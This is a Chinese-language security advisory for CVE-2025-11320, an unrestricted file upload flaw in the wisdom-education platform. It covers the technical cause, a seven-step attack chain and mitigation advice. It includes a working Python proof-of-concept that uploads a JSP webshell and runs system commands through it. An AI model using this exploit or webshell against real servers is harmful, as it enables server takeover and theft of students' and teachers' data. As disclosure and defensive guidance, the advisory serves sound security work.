IPBUF安全漏洞报告
English
CVE-2025-11320 CVSS 6.3 中危

CVE-2025-11320:wisdom-education任意文件上传漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-11320
漏洞类型
任意文件上传(Unrestricted File Upload)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
zhuimengshaonian wisdom-education

相关标签

任意文件上传Unrestricted File UploadWebshell远程代码执行RCEwisdom-educationzhuimengshaonian教育系统JavaJSP

漏洞概述

CVE-2025-11320是zhuimengshaonian开发的wisdom-education教育平台系统中存在的一个安全漏洞。该漏洞影响版本至1.0.4(含),CVSS评分为6.3分,属于中危级别。漏洞位于系统后端文件上传控制器UploadController.java的uploadFile方法中,攻击者可以通过精心构造的File参数实现任意文件上传操作。由于该漏洞可以通过网络远程利用,且仅需要低权限认证即可触发,同时无需用户交互配合,因此对部署该系统的教育机构构成较大安全威胁。攻击者成功利用此漏洞后,可能在服务器上植入Webshell后门,进一步获取服务器控制权,导致敏感数据泄露、服务中断或被用于内网横向渗透。该漏洞的利用方式已公开发布在GitHub上,任何具备基本攻击能力的攻击者都可以轻易复现和利用此漏洞。鉴于教育系统通常存储大量师生个人信息和教学数据,该漏洞的潜在危害不容忽视,建议相关用户尽快采取修复措施。

技术细节

该漏洞的核心问题在于wisdom-education系统v1.0.4及之前版本中UploadController.java文件的uploadFile方法未对上传文件进行充分的安全校验。具体技术原理如下:

1. **缺乏文件类型校验**:uploadFile方法在处理客户端上传的文件时,没有严格校验文件的MIME类型或扩展名,攻击者可以将任意扩展名的文件(如.jsp、.jspx、.php等可执行脚本)上传到服务器。

2. **缺乏文件内容检测**:系统未对上传文件的内容进行恶意特征检测,仅依赖前端JavaScript进行简单校验,容易被攻击者通过修改请求或禁用JavaScript绕过。

3. **上传路径可预测**:上传文件的存储路径通常是固定或可预测的,攻击者上传Webshell后能够直接通过浏览器访问执行。

4. **权限要求低**:该接口仅需要低权限(PR:L)即可访问,意味着普通注册用户也可能利用此漏洞。

利用方式:攻击者首先注册或获取一个低权限账号,然后构造multipart/form-data类型的HTTP POST请求,将恶意JSP文件(如包含命令执行代码的cmd.jsp)作为File参数提交至uploadFile接口。服务器接收后将文件保存至可访问目录,攻击者随后通过浏览器访问该文件路径即可执行任意系统命令,实现远程代码执行。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎或资产测绘平台(如Shodan、FOFA)搜索部署了wisdom-education v1.0.4及以下版本的服务器,获取目标URL。
STEP 2
步骤2:账号注册/获取
由于漏洞仅需低权限认证即可利用,攻击者注册一个普通用户账号或通过其他途径获取有效凭证。
STEP 3
步骤3:构造恶意文件
攻击者准备包含Webshell代码的JSP文件(如cmd.jsp),该文件包含Runtime.exec()等可执行系统命令的代码。
STEP 4
步骤4:上传恶意文件
攻击者通过登录后的会话,向/core/upload/uploadFile接口发送multipart/form-data请求,将恶意JSP文件作为File参数上传。
STEP 5
步骤5:获取Webshell路径
服务器返回上传成功信息及文件存储路径,攻击者根据返回的路径信息确定Webshell的访问URL。
STEP 6
步骤6:远程代码执行
攻击者通过浏览器或脚本访问上传的Webshell,传入命令参数执行任意系统命令,获取服务器控制权限。
STEP 7
步骤7:后渗透阶段
获取服务器权限后,攻击者可进一步窃取数据库中的师生敏感信息、植入持久化后门、进行内网横向移动等恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11320 PoC - wisdom-education Arbitrary File Upload # Vulnerability: Unrestricted file upload in uploadFile() method # Affected: zhuimengshaonian wisdom-education <= 1.0.4 import requests TARGET_URL = "http://target-host:8080" UPLOAD_ENDPOINT = "/core/upload/uploadFile" USERNAME = "attacker_user" PASSWORD = "attacker_pass" # Step 1: Login to obtain session/cookie (low privilege account) session = requests.Session() login_url = f"{TARGET_URL}/login" login_data = { "username": USERNAME, "password": PASSWORD } session.post(login_url, data=login_data) # Step 2: Prepare malicious JSP webshell file webshell_content = b"""<%@ page import="java.util.*,java.io.*" %> <% String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) { out.println(line); } } %>""" # Step 3: Upload malicious JSP file via uploadFile endpoint files = { "File": ("cmd.jsp", webshell_content, "application/octet-stream") } upload_url = f"{TARGET_URL}{UPLOAD_ENDPOINT}" response = session.post(upload_url, files=files) print(f"Upload response: {response.text}") # Step 4: Access the uploaded webshell to execute commands # The file path is typically predictable, e.g., /upload/cmd.jsp webshell_url = f"{TARGET_URL}/upload/cmd.jsp?cmd=id" result = session.get(webshell_url) print(f"Command execution result: {result.text}")

影响范围

zhuimengshaonian wisdom-education <= 1.0.4

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)通过Web服务器配置(如Nginx的location规则或Apache的.htaccess)禁止上传目录的脚本执行权限;2)在应用层添加文件类型白名单过滤器,拦截包含.jsp、.php等危险扩展名的上传请求;3)限制uploadFile接口仅对管理员角色开放,关闭普通用户的上传权限;4)部署WAF规则拦截multipart/form-data请求中的可疑文件类型;5)监控服务器上传目录,及时发现和清理可疑文件;6)定期检查服务器日志,排查异常上传行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表